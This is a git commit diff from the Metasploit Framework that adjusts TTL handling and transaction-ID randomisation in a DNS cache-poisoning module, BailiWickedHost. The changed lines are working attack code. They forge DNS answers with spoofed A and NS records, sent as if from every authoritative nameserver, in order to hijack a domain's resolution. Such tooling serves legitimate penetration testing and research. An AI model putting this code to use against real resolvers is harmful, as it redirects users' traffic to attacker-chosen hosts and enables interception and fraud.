Correct the TTL variable usage (was getting squished and then setting way too low TTLs)

git-svn-id: file:///home/svn/framework3/trunk@5586 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2008-07-24 01:15:12 +00:00
parent e0bdbacb5d
commit b2f2e4cab6
1 changed files with 6 additions and 5 deletions

View File

@ -131,8 +131,8 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
address = datastore['NEWADDR']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
ttl = datastore['TTL'].to_i
xidbase = rand(4)+2*10000
newttl = datastore['TTL'].to_i
xidbase = rand(65536)
domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
@ -189,6 +189,7 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
@ -267,9 +268,9 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
queries += 1
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1